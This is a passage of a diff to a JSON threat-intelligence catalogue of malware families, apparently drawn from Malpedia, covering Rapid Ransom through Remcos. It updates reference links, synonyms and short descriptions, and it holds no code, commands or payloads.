"https://unit42.paloaltonetworks.com/vatet-pyxie-defray777/4", - "https://www.youtube.com/watch?v=qxPXxWMI2i4" + "https://www.bleepingcomputer.com/news/security/brazils-court-system-under-massive-ransomexx-ransomware-attack/", + "https://blog.talosintelligence.com/2020/12/quarterly-ir-report-fall-2020-q4.html", + "https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", + "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", + "https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-ransomexx" ], "synonyms": [ "Defray777", @@ -38231,15 +40293,15 @@ "value": "SNC" }, { - "description": "", + "description": "InfinityGroup notes that Rapid Ransomware, unlike regular Ransomware, stays active on the computer after initially encrypting the systems and also encrypts any new files that are created. It does this by creating auto-runs that are designed to launch the ransomware and display the ransom note every time the infected system is started.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.rapid_ransom", - "https://twitter.com/malwrhunterteam/status/977275481765613569", - "https://twitter.com/malwrhunterteam/status/997748495888076800", "https://www.youtube.com/watch?v=LUxOcpIRxmg", "https://exchange.xforce.ibmcloud.com/collection/GuessWho-Ransomware-A-Variant-of-Rapid-Ransomware-ef226b9792fa4c1e34fa4c587db04145", - "https://www.fsec.or.kr/common/proc/fsec/bbs/163/fileDownLoad/2297.do" + "https://www.fsec.or.kr/common/proc/fsec/bbs/163/fileDownLoad/2297.do", + "https://twitter.com/malwrhunterteam/status/977275481765613569", + "https://twitter.com/malwrhunterteam/status/997748495888076800" ], "synonyms": [], "type": [] @@ -38248,7 +40310,7 @@ "value": "Rapid Ransom" }, { - "description": "", + "description": "A spy trojan is a type of malware that has the capability to gather information from the infected system without consent from the user. This information is then sent to a remote attacker.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.rapid_stealer", @@ -38265,8 +40327,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.rarog", - "https://unit42.paloaltonetworks.com/unit42-smoking-rarog-mining-trojan/", - "https://tracker.fumik0.com/malware/Rarog" + "https://tracker.fumik0.com/malware/Rarog", + "https://unit42.paloaltonetworks.com/unit42-smoking-rarog-mining-trojan/" ], "synonyms": [], "type": [] @@ -38275,7 +40337,7 @@ "value": "Rarog" }, { - "description": "", + "description": "This ransomware encrypts all user’s data on the PC (photos, documents, excel tables, music, videos, etc), adds its specific extension to every file, and creates the HOW_TO_DECYPHER_FILES.txt files in every folder which contains encrypted files.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.rarstar", @@ -38292,12 +40354,20 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.raspberry_robin", - "https://decoded.avast.io/janvojtesek/raspberry-robins-roshtyak-a-little-lesson-in-trickery/", - "https://redcanary.com/blog/raspberry-robin/", - "https://blogs.cisco.com/security/raspberry-robin-highly-evasive-worm-spreads-over-external-disks", + "https://research.checkpoint.com/2023/raspberry-robin-anti-evasion-how-to-exploit-analysis/", + "https://unit42.paloaltonetworks.com/unsigned-dlls/", + "https://www.microsoft.com/en-us/security/blog/2022/10/27/raspberry-robin-worm-part-of-larger-ecosystem-facilitating-pre-ransomware-activity/", + "https://research.checkpoint.com/2023/raspberry-robin-anti-evasion-how-to-exploit-analysis", + "https://www.securityjoes.com/post/raspberry-robin-detected-itw-targeting-insurance-financial-institutes-in-europe", + "https://www.trendmicro.com/fr_fr/research/22/l/raspberry-robin-malware-targets-telecom-governments.html", "https://securityintelligence.com/posts/raspberry-robin-worm-dridex-malware/", + "https://blog.talosintelligence.com/breaking-the-silence-recent-truebot-activity/", + "https://redcanary.com/blog/raspberry-robin/", + "https://www.bleepingcomputer.com/news/security/microsoft-links-raspberry-robin-worm-to-clop-ransomware-attacks/", "https://www.cybereason.com/blog/threat-alert-raspberry-robin-worm-abuses-windows-installer-and-qnap-devices", - "https://thehackernews.com/2022/07/microsoft-links-raspberry-robin-usb.html?_m=3n%2e009a%2e2800%2ejp0ao0cjb8%2e1shm" + "https://thehackernews.com/2022/07/microsoft-links-raspberry-robin-usb.html?_m=3n%2e009a%2e2800%2ejp0ao0cjb8%2e1shm", + "https://decoded.avast.io/janvojtesek/raspberry-robins-roshtyak-a-little-lesson-in-trickery/", + "https://blogs.cisco.com/security/raspberry-robin-highly-evasive-worm-spreads-over-external-disks" ], "synonyms": [ "LINK_MSIEXEC", @@ -38306,15 +40376,6 @@ ], "type": [] }, - "related": [ - { - "dest-uuid": "70dc3e92-9b3b-4fc1-abd2-d98985d83225", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "34b3a45b-e522-4342-91c8-b6aad9817f99", "value": "Raspberry Robin" }, @@ -38323,31 +40384,22 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.ratankba", + "https://www.proofpoint.com/sites/default/files/pfpt-us-wp-north-korea-bitten-by-bitcoin-bug.pdf", + "http://baesystemsai.blogspot.de/2016/05/cyber-heist-attribution.html", + "https://www.symantec.com/connect/blogs/attackers-target-dozens-global-banks-new-malware-0", + "https://content.fireeye.com/apt/rpt-apt38", + "https://www.bleepingcomputer.com/news/security/polish-banks-infected-with-malware-hosted-on-their-own-governments-site/", + "https://baesystemsai.blogspot.com/2017/02/lazarus-watering-hole-attacks.html", "https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf", "https://www.symantec.com/connect/blogs/attackers-target-dozens-global-banks-new-malware", - "http://baesystemsai.blogspot.de/2016/05/cyber-heist-attribution.html", - "https://baesystemsai.blogspot.com/2017/02/lazarus-watering-hole-attacks.html", "https://twitter.com/PhysicalDrive0/status/828915536268492800", - "https://www.bleepingcomputer.com/news/security/polish-banks-infected-with-malware-hosted-on-their-own-governments-site/", - "https://www.secureworks.com/research/threat-profiles/nickel-gladstone", - "https://www.proofpoint.com/sites/default/files/pfpt-us-wp-north-korea-bitten-by-bitcoin-bug.pdf", - "https://content.fireeye.com/apt/rpt-apt38", - "https://www.symantec.com/connect/blogs/attackers-target-dozens-global-banks-new-malware-0" + "https://www.secureworks.com/research/threat-profiles/nickel-gladstone" ], "synonyms": [ "QUICKRIDE" ], "type": [] }, - "related": [ - { - "dest-uuid": "64b3c66b-fc70-4b5a-83a9-866cde2ccb0b", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "eead20f5-6a30-4700-8d14-cfb2d42eaff0", "value": "Ratankba" }, @@ -38367,6 +40419,21 @@ "uuid": "15b85bac-c58b-41fd-8332-cfac7c445e0d", "value": "RatankbaPOS" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.ratel", + "https://businessinsights.bitdefender.com/tech-advisory-manageengine-cve-2022-47966", + "https://securelist.com/tomiris-called-they-want-their-turla-malware-back/109552/", + "https://github.com/FrenchCisco/RATel" + ], + "synonyms": [], + "type": [] + }, + "uuid": "56ac6980-4db4-4bac-8f8a-cebf5ead6308", + "value": "RATel" + }, { "description": "", "meta": { @@ -38387,8 +40454,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.rawpos", "http://blog.trendmicro.com/trendlabs-security-intelligence/rawpos-new-behavior-risks-identity-theft/?platform=hootsuite", - "https://www.youtube.com/watch?v=fevGZs0EQu8", - "https://threatvector.cylance.com/en_us/home/rawpos-malware.html" + "https://threatvector.cylance.com/en_us/home/rawpos-malware.html", + "https://www.youtube.com/watch?v=fevGZs0EQu8" ], "synonyms": [], "type": [] @@ -38414,8 +40481,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.rc2fm", - "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf", - "https://www.welivesecurity.com/2020/06/18/digging-up-invisimole-hidden-arsenal" + "https://www.welivesecurity.com/2020/06/18/digging-up-invisimole-hidden-arsenal", + "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf" ], "synonyms": [], "type": [] @@ -38428,16 +40495,17 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.rcs", - "https://www.virusbulletin.com/virusbulletin/2020/01/vb2019-paper-rich-headers-leveraging-mysterious-artifact-pe-format/", - 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"https://www.f-secure.com/documents/996508/1030745/callisto-group", "https://www.vice.com/en_us/article/jgxvdx/jan-marsalek-wirecard-bizarre-attempt-to-buy-hacking-team-spyware", - "https://www.f-secure.com/content/dam/f-secure/en/labs/whitepapers/Callisto_Group.pdf", - "http://blogs.360.cn/post/APT-C-34_Golden_Falcon.html" + "https://www.virusbulletin.com/virusbulletin/2020/01/vb2019-paper-rich-headers-leveraging-mysterious-artifact-pe-format/" ], "synonyms": [ "Crisis", @@ -38479,24 +40547,15 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.rdat", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020OverWatchNowheretoHide.pdf", "https://unit42.paloaltonetworks.com/oilrig-novel-c2-channel-steganography/", - "https://unit42.paloaltonetworks.com/atoms/evasive-serpens/", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020OverWatchNowheretoHide.pdf" + "https://unit42.paloaltonetworks.com/atoms/evasive-serpens/" ], "synonyms": [ "GREYSTUFF" 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"https://blog.talosintelligence.com/2022/08/modernloader-delivers-multiple-stealers.html", + "https://www.bleepingcomputer.com/news/security/redline-info-stealing-malware-spread-by-folding-home-phishing/", + "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/ipfs-a-new-data-frontier-or-a-new-cybercriminal-hideout", + "https://research.loginsoft.com/threat-research/from-innocence-to-malice-the-onenote-malware-campaign-uncovered/", + "https://muha2xmad.github.io/malware-analysis/fullredline/", + "https://bartblaze.blogspot.com/2021/06/digital-artists-targeted-in-redline.html", + "https://go.recordedfuture.com/hubfs/reports/mtp-2021-1014.pdf", + "https://www.proofpoint.com/us/threat-insight/post/new-redline-stealer-distributed-using-coronavirus-themed-email-campaign", + "https://asec.ahnlab.com/en/30445/", + "https://www.ciphertechsolutions.com/roboski-global-recovery-automation/", + "https://www.team-cymru.com/post/seychelles-seychelles-on-the-c-2-shore", + "https://www.fortinet.com/blog/threat-research/excel-document-delivers-malware-by-exploiting-cve-2017-11882", + "https://blog.morphisec.com/syk-crypter-discord", + "https://blog.morphisec.com/google-ppc-ads-deliver-redline-taurus-and-mini-redline-infostealers", + "https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord", + "https://krebsonsecurity.com/2022/03/a-closer-look-at-the-lapsus-data-extortion-group/", + "https://securityaffairs.co/wordpress/129391/hacking/lapsus-gang-compromised-microsoft-employees-account.html", + "https://team-cymru.com/blog/2022/05/25/bablosoft-lowering-the-barrier-of-entry-for-malicious-actors/", + "https://www.fortinet.com/blog/threat-research/omicron-variant-lure-used-to-distribute-redline-stealer", + "https://github.com/StrangerealIntel/CyberThreatIntel/blob/master/Additional%20Analysis/UnknownTA/2020-09-07/Analysis.md" ], "synonyms": [], "type": [] @@ -38737,9 +40804,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.redsalt", - "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s01-hunting-for-platinum.pdf", + "https://www.fireeye.com/content/dam/fireeye-www/blog/pdfs/twoforonefinal.pdf", "https://twitter.com/ItsReallyNick/status/1136502701301346305", - "https://www.fireeye.com/content/dam/fireeye-www/blog/pdfs/twoforonefinal.pdf" + "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s01-hunting-for-platinum.pdf" ], "synonyms": [ "Dipsind" @@ -38754,8 +40821,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.redshawl", - "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180244/Lazarus_Under_The_Hood_PDF_final.pdf", - "https://content.fireeye.com/apt/rpt-apt38" + "https://content.fireeye.com/apt/rpt-apt38", + "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180244/Lazarus_Under_The_Hood_PDF_final.pdf" ], "synonyms": [], "type": [] @@ -38807,25 +40874,17 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.regeorg", - "https://www.secureworks.com/blog/ransomware-deployed-by-adversary", - "https://www.welivesecurity.com/2022/09/06/worok-big-picture/", - "https://www.secureworks.com/research/samsam-ransomware-campaigns", - "https://sensepost.com/discover/tools/reGeorg/", + "https://securelist.com/defttorero-tactics-techniques-and-procedures/107610/", "https://github.com/sensepost/reGeorg", - "https://media.defense.gov/2021/Jul/01/2002753896/-1/-1/1/CSA_GRU_GLOBAL_BRUTE_FORCE_CAMPAIGN_UOO158036-21.PDF" + "https://sensepost.com/discover/tools/reGeorg/", + "https://www.secureworks.com/blog/ransomware-deployed-by-adversary", + "https://media.defense.gov/2021/Jul/01/2002753896/-1/-1/1/CSA_GRU_GLOBAL_BRUTE_FORCE_CAMPAIGN_UOO158036-21.PDF", + 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"https://www.epicturla.com/previous-works/hitb2020-voltron-sta", + "https://www.symantec.com/content/dam/symantec/docs/security-center/white-papers/regin-top-tier-espionage-tool-15-en.pdf", + "https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=ce2df4da-afe9-4a24-b28c-0fb3ba671d95&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments", + "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08070305/Kaspersky_Lab_whitepaper_Regin_platform_eng.pdf", + "https://www.youtube.com/watch?v=jeLd-gw2bWo", "https://www.kaspersky.com/blog/regin-apt-most-sophisticated/6852/", - "https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=ce2df4da-afe9-4a24-b28c-0fb3ba671d95&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments" + "https://securelist.com/regin-nation-state-ownage-of-gsm-networks/67741/" ], "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "0cf21558-1217-4d36-9536-2919cfd44825", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "4cbe9373-6b5e-42d0-9750-e0b7fc0d58bb", "value": "Regin" }, @@ -38863,9 +40913,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.regretlocker", + "http://chuongdong.com/reverse%20engineering/2020/11/17/RegretLocker/", "https://www.bleepingcomputer.com/news/security/new-regretlocker-ransomware-targets-windows-virtual-machines/", - "https://twitter.com/malwrhunterteam/status/1321375502179905536", - "http://chuongdong.com/reverse%20engineering/2020/11/17/RegretLocker/" + "https://twitter.com/malwrhunterteam/status/1321375502179905536" ], "synonyms": [], "type": [] @@ -38963,79 +41013,89 @@ "value": "RemCom" }, { - "description": "Remcos (acronym of Remote Control & Surveillance Software) is a Remote Access Software used to remotely control computers.\r\nRemcos, once installed, opens a backdoor on the computer, granting full access to the remote user. \r\nRemcos can be used for surveillance and penetration testing purposes, and in some instances has been used in hacking campaigns. ", + "description": "Remcos (acronym of Remote Control & Surveillance Software) is a commercial Remote Access Tool to remotely control computers.\r\n\r\nRemcos is advertised as legitimate software which can be used for surveillance and penetration testing purposes, but has been used in numerous hacking campaigns.\r\nRemcos, once installed, opens a backdoor on the computer, granting full access to the remote user.\r\nRemcos is developed by the cybersecurity company BreakingSecurity.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.remcos", - "https://blog.360totalsecurity.com/en/vendetta-new-threat-actor-from-europe/", - "https://www.connectwise.com/resources/formbook-remcos-rat", - "https://blog.talosintelligence.com/2020/06/tor2mine-is-up-to-their-old-tricks-and_11.html", - "https://www.proofpoint.com/us/blog/threat-insight/commodity-net-packers-use-embedded-images-hide-payloads", - "https://secrary.com/ReversingMalware/RemcosRAT/", - "https://www.youtube.com/watch?v=DIH4SvKuktM", - "https://isc.sans.edu/forums/diary/Remcos+RAT+Delivered+Through+Double+Compressed+Archive/28354/", - "https://perception-point.io/behind-the-attack-remcos-rat/", - "https://www.zscaler.com/blogs/security-research/catching-rats-over-custom-protocols", - "https://blog.malwarebytes.com/threat-analysis/2021/07/remcos-rat-delivered-via-visual-basic/", "https://blog.morphisec.com/tracking-hcrypt-an-active-crypter-as-a-service", - "https://www.bleepingcomputer.com/news/security/russia-ukraine-war-exploited-as-lure-for-malware-distribution/", - "https://blog.checkpoint.com/2019/06/19/sandblast-agent-phishing-germany-campaign-security-hack-ransomware/", - "https://threatresearch.ext.hp.com/wp-content/uploads/2021/10/HP-Wolf-Security-Threat-Insights-Report-Q3-2021.pdf", - "https://www.trendmicro.com/en_us/research/21/i/apt-c-36-updates-its-long-term-spam-campaign-against-south-ameri.html", - "https://www.proofpoint.com/us/threat-insight/post/new-whiteshadow-downloader-uses-microsoft-sql-retrieve-malware", "https://blog.talosintelligence.com/2020/04/azorult-brings-friends-to-party.html", - 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"https://www.ciphertechsolutions.com/roboski-global-recovery-automation/", - "https://www.welivesecurity.com/2021/01/12/operation-spalax-targeted-malware-attacks-colombia/", - "https://www.socinvestigation.com/remcos-rat-new-ttps-detection-response/", - "https://asec.ahnlab.com/en/32376/", - "https://muha2xmad.github.io/unpacking/remcos/", - "https://securityintelligence.com/posts/roboski-global-recovery-automation/", "https://labs.bitdefender.com/2020/03/5-times-more-coronavirus-themed-malware-reports-during-march/?utm_campaign=twitter&utm_medium=twitter&utm_source=twitter", - "https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/", - "https://www.bitdefender.com/blog/hotforsecurity/bitdefender-labs-sees-increased-malicious-and-scam-activity-exploiting-the-war-in-ukraine", - "https://www.esentire.com/blog/remcos-rat", - "https://blog.morphisec.com/hubfs/Journey%20of%20a%20Crypto%20Scammer%20-%20NFT-001%20%7C%20Morphisec%20%7C%20Threat%20Report.pdf", - "https://www.bitdefender.com/files/News/CaseStudies/study/390/Bitdefender-PR-Whitepaper-Remcos-creat5080-en-EN-GenericUse.pdf", - "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/apt-c-36-updates-its-long-term-spam-campaign-against-south-american-entities-with-commodity-rats/BlindEagleIOCList.txt", - "https://intel471.com/blog/privateloader-malware", - "https://asec.ahnlab.com/ko/32101/", - "https://www.proofpoint.com/us/threat-insight/post/coronavirus-threat-landscape-update", - "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-old-dogs-new-tricks.pdf", - "https://www.proofpoint.com/us/blog/threat-insight/new-threat-actor-spoofs-philippine-government-covid-19-health-data-widespread", - "https://blog.fortinet.com/2017/02/14/remcos-a-new-rat-in-the-wild-2", - "http://malware-traffic-analysis.net/2017/12/22/index.html", - "https://blog.morphisec.com/remcos-trojan-analyzing-attack-chain", - "https://medium.com/@amgedwageh/analysis-of-an-autoit-script-that-wraps-a-remcos-rat-6b5b66075b87", - "https://www.anomali.com/blog/threat-actors-use-msbuild-to-deliver-rats-filelessly", - "https://www.splunk.com/en_us/blog/security/fin7-tools-resurface-in-the-field-splinter-or-copycat.html", + "https://www.trendmicro.com/en_us/research/21/i/apt-c-36-updates-its-long-term-spam-campaign-against-south-ameri.html", "https://www.ptsecurity.com/ww-en/analytics/antisandbox-techniques/", - "https://myonlinesecurity.co.uk/fake-order-spoofed-from-finchers-ltd-sankyo-rubber-delivers-remcos-rat-via-ace-attachments/", - "https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf", + "https://blog.morphisec.com/nft-malware-new-evasion-abilities", + "https://isc.sans.edu/forums/diary/Remcos+RAT+Delivered+Through+Double+Compressed+Archive/28354/", + "https://www.proofpoint.com/us/threat-insight/post/coronavirus-threat-landscape-update", + "https://muha2xmad.github.io/unpacking/remcos/", "https://blog.morphisec.com/the-babadeda-crypter-targeting-crypto-nft-defi-communities", - "https://dissectingmalwa.re/malicious-ratatouille.html", - "https://asec.ahnlab.com/ko/25837/", + "https://www.bitdefender.com/files/News/CaseStudies/study/390/Bitdefender-PR-Whitepaper-Remcos-creat5080-en-EN-GenericUse.pdf", + "https://www.zscaler.com/blogs/security-research/catching-rats-over-custom-protocols", + "https://www.esentire.com/blog/remcos-rat", + "https://www.splunk.com/en_us/blog/security/fin7-tools-resurface-in-the-field-splinter-or-copycat.html", + "https://blog.morphisec.com/remcos-trojan-analyzing-attack-chain", + "https://www.socinvestigation.com/remcos-rat-new-ttps-detection-response/", + "https://blog.malwarebytes.com/threat-analysis/2021/07/remcos-rat-delivered-via-visual-basic/", + "https://secrary.com/ReversingMalware/RemcosRAT/", + "https://threatresearch.ext.hp.com/wp-content/uploads/2021/10/HP-Wolf-Security-Threat-Insights-Report-Q3-2021.pdf", + "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-old-dogs-new-tricks.pdf", "https://symantec-blogs.broadcom.com/blogs/threat-intelligence/elfin-apt33-espionage", - "https://www.cybereason.com/blog/cybereason-exposes-malware-targeting-us-taxpayers", + "https://www.vmray.com/cyber-security-blog/smart-memory-dumping/", + "https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf", "https://github.com/1d8/analyses/blob/master/RemcosDocDropper.MD", - "https://www.fortinet.com/blog/threat-research/latest-remcos-rat-phishing", - "https://www.riskiq.com/blog/labs/spear-phishing-turkish-defense-contractors/", - "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/cyber-attackers-leverage-russia-ukraine-conflict-in-multiple-spam-campaigns", - "https://threatresearch.ext.hp.com/malware-campaigns-targeting-african-banking-sector/", + "https://www.proofpoint.com/us/threat-insight/post/new-whiteshadow-downloader-uses-microsoft-sql-retrieve-malware", + "https://www.microsoft.com/en-us/security/blog/2023/04/13/threat-actors-strive-to-cause-tax-day-headaches/", + "https://www.welivesecurity.com/2021/10/06/moon-hack-fake-safemoon-cryptocurrency-app-drops-malware-spy/", "https://muha2xmad.github.io/mal-document/remcosdoc/", + "https://www.anomali.com/blog/threat-actors-use-msbuild-to-deliver-rats-filelessly", + "https://www.trendmicro.com/en_us/research/21/k/campaign-abusing-rats-uses-fake-websites.html", + "http://malware-traffic-analysis.net/2017/12/22/index.html", + "https://www.proofpoint.com/us/blog/threat-insight/new-threat-actor-spoofs-philippine-government-covid-19-health-data-widespread", + "https://blog.talosintelligence.com/2020/06/tor2mine-is-up-to-their-old-tricks-and_11.html", + "https://info.spamhaus.com/hubfs/Botnet%20Reports/2023%20Q1%20Botnet%20Threat%20Update.pdf", + "https://asec.ahnlab.com/en/32376/", + "https://threatresearch.ext.hp.com/malware-campaigns-targeting-african-banking-sector/", + "https://www.telsy.com/download/4832/", + "https://www.connectwise.com/resources/formbook-remcos-rat", + "https://intel471.com/blog/privateloader-malware", + "https://blog.talosintelligence.com/2018/08/picking-apart-remcos.html", + "https://www.proofpoint.com/us/blog/threat-insight/commodity-net-packers-use-embedded-images-hide-payloads", + "https://asec.ahnlab.com/ko/25837/", + "https://threatresearch.ext.hp.com/javascript-malware-dispensing-rats-into-the-wild/", + "https://www.bitdefender.com/blog/hotforsecurity/bitdefender-labs-sees-increased-malicious-and-scam-activity-exploiting-the-war-in-ukraine", + "https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/", + "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/apt-c-36-updates-its-long-term-spam-campaign-against-south-american-entities-with-commodity-rats/BlindEagleIOCList.txt", + "https://dissectingmalwa.re/malicious-ratatouille.html", + "https://asec.ahnlab.com/ko/32101/", + "https://www.fortinet.com/blog/threat-research/latest-remcos-rat-phishing", + "https://www.trendmicro.com/en_ca/research/19/h/analysis-new-remcos-rat-arrives-via-phishing-email.html", + "https://www.bleepingcomputer.com/news/security/russia-ukraine-war-exploited-as-lure-for-malware-distribution/", + "https://blog.morphisec.com/hubfs/Journey%20of%20a%20Crypto%20Scammer%20-%20NFT-001%20%7C%20Morphisec%20%7C%20Threat%20Report.pdf", + "https://news.sophos.com/en-us/2020/05/14/raticate/", + "https://krabsonsecurity.com/2018/03/02/analysing-remcos-rats-executable/", + "https://github.com/itaymigdal/malware-analysis-writeups/blob/main/Remcos/Remcos.md", + "https://blog.360totalsecurity.com/en/vendetta-new-threat-actor-from-europe/", + "https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/", + "https://securityintelligence.com/posts/roboski-global-recovery-automation/", + "https://info.spamhaus.com/hubfs/Botnet%20Reports/2022%20Q3%20Botnet%20Threat%20Update.pdf", + "https://www.riskiq.com/blog/labs/spear-phishing-turkish-defense-contractors/", + "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/ipfs-a-new-data-frontier-or-a-new-cybercriminal-hideout", + "https://research.checkpoint.com/2023/following-the-scent-of-trickgate-6-year-old-packer-used-to-deploy-the-most-wanted-malware/", + "https://perception-point.io/behind-the-attack-remcos-rat/", + "https://www.ciphertechsolutions.com/roboski-global-recovery-automation/", + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/cyber-attackers-leverage-russia-ukraine-conflict-in-multiple-spam-campaigns", + "https://www.trellix.com/en-us/about/newsroom/stories/research/cyberattacks-targeting-ukraine-increase.html", + "https://www.malwarebytes.com/blog/threat-intelligence/2022/20221121-threat-intel-report-final.pdf", + "https://blog.fortinet.com/2017/02/14/remcos-a-new-rat-in-the-wild-2", + "https://www.youtube.com/watch?v=DIH4SvKuktM", "https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage", - "https://github.com/itaymigdal/malware-analysis-writeups/blob/main/Remcos/Remcos.md" + "https://www.splunk.com/en_us/blog/security/detecting-malware-script-loaders-using-remcos-threat-research-release-december-2021.html", + "https://myonlinesecurity.co.uk/fake-order-spoofed-from-finchers-ltd-sankyo-rubber-delivers-remcos-rat-via-ace-attachments/", + "https://www.gdatasoftware.com/blog/global-pandemic-remcos-tesla-netwire", + "https://www.cybereason.com/blog/cybereason-exposes-malware-targeting-us-taxpayers", + "https://www.welivesecurity.com/2021/01/12/operation-spalax-targeted-malware-attacks-colombia/", + "https://www.zscaler.com/blogs/security-research/dbatloader-actively-distributing-malwares-targeting-european-businesses", + "https://www.fortinet.com/blog/threat-research/new-variant-of-remcos-rat-observed-in-the-wild.html", + "https://medium.com/@amgedwageh/analysis-of-an-autoit-script-that-wraps-a-remcos-rat-6b5b66075b87", + "https://blog.checkpoint.com/2019/06/19/sandblast-agent-phishing-germany-campaign-security-hack-ransomware/" ], "synonyms": [ "RemcosRAT", @@ -39052,14 +41112,14 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.remexi", - "https://www.secureworks.com/research/threat-profiles/cobalt-hickman", - "https://twitter.com/QW5kcmV3/status/1095833216605401088", "http://www.symantec.com/content/en/us/enterprise/media/security_response/docs/CadelSpy-Remexi-IOC.pdf", - "https://securelist.com/chafer-used-remexi-malware/89538/", - "https://bitdefender.com/files/News/CaseStudies/study/332/Bitdefender-Whitepaper-Chafer-creat4491-en-EN-interactive.pdf", "https://www.symantec.com/blogs/threat-intelligence/chafer-latest-attacks-reveal-heightened-ambitions", + "https://securelist.com/chafer-used-remexi-malware/89538/", "https://symantec-blogs.broadcom.com/blogs/threat-intelligence/chafer-latest-attacks-reveal-heightened-ambitions", - "https://web.archive.org/web/20191221064439/https://www.symantec.com/connect/blogs/iran-based-attackers-use-back-door-threats-spy-middle-eastern-targets" + "https://twitter.com/QW5kcmV3/status/1095833216605401088", + "https://www.secureworks.com/research/threat-profiles/cobalt-hickman", + "https://web.archive.org/web/20191221064439/https://www.symantec.com/connect/blogs/iran-based-attackers-use-back-door-threats-spy-middle-eastern-targets", + "https://bitdefender.com/files/News/CaseStudies/study/332/Bitdefender-Whitepaper-Chafer-creat4491-en-EN-interactive.pdf" ], "synonyms": [ "CACHEMONEY" @@ -39102,11 +41162,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.remsec_strider", - "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Symantec_Remsec_IOCs.pdf", "https://artemonsecurity.blogspot.com/2016/10/remsec-driver-analysis.html", + "https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=ce2df4da-afe9-4a24-b28c-0fb3ba671d95&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments", + "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Symantec_Remsec_IOCs.pdf", "https://artemonsecurity.blogspot.com/2016/10/remsec-driver-analysis-part-3.html", - "https://artemonsecurity.blogspot.com/2016/10/remsec-driver-analysis-part-2.html", - "https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=ce2df4da-afe9-4a24-b28c-0fb3ba671d95&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments" + "https://artemonsecurity.blogspot.com/2016/10/remsec-driver-analysis-part-2.html" ], "synonyms": [], "type": [] @@ -39119,8 +41179,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.remy", - 